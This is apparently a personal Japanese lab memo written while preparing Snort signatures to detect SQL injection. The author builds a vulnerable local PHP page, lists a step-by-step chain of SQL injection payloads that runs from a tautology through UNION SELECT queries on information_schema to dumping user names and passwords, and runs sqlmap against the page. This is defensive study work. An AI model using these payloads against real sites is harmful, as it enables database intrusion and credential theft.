SnortでSQLインジェクションの検知シグネチャを作成するにあたり
SQLインジェクションのおさらいとSQLmapのを使ってみようと思った
■準備
・SQLインジェクションの脆弱性を持つWebページを用意する
→これは適当にググって出てきたやつを参考にした
・SQLiの手法を改めておさらいする(下記項で記載)
========
※一応備忘録として
PHPがMySQLに接続できないところで1時間ハマる
ディレクトリ、phpファイル、dbのアクセス権限とか
いじってたけど、結局どれも違って
phpコードでMySQL接続するときのホスト名
127.0.0.1
が悪かったみたいで
localhost
なら接続できた
<?php $mysqli = new mysqli('localhost', 'root', 'password', 'sql_injection'); ?>
今回の場合はディレクトリとかphpファイルの権限は全く関係なかった
========
■SQLiの手法のおさらい
基本的なSQLi
' or 'x' = 'x' #
SQLiの脆弱性があるか調査
↓
' or 'x'='x' UNION SELECT table_name,3 FROM information_schema.tables #
スキーマのやつ使って存在するテーブルを調査
↓
' UNION SELECT COLUMN_NAME, 3 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'user' #
目的のテーブル名を指定し、保持しているカラムを調査
↓
' UNION SELECT name, password FROM user #
該当するカラムを使ってクエリを送る
↓
DBの情報が返ってくる
■SQLmapを使う
以下のコマンドでとりあえず実行できる
# sqlmap -u "http://localhost:8000/sqli/vulsql.php" --data "name=guest&password=guest"
ただBlind SQLi用でデータベース名を取得するために
"--dbs"をつけて実行してみると
[22:44:46] [INFO] fetching database names [22:44:46] [INFO] fetching number of databases [22:44:46] [INFO] retrieved: [22:44:46] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [22:44:46] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [22:44:46] [ERROR] unable to retrieve the number of databases [22:44:46] [INFO] falling back to current database [22:44:46] [INFO] fetching current database [22:44:46] [INFO] retrieved: [22:44:46] [CRITICAL] unable to retrieve the database names
と出てデータベース名の取得が失敗していた
本来であれば
[INFO] fetching database names
の後あたりでDB名が列挙されるはずだが
ちょっとここでもハマって、しばらくググってみたけど
解決しなさそうだし、今回のメインの趣旨ではないので
これに関しては諦めた
また今度かな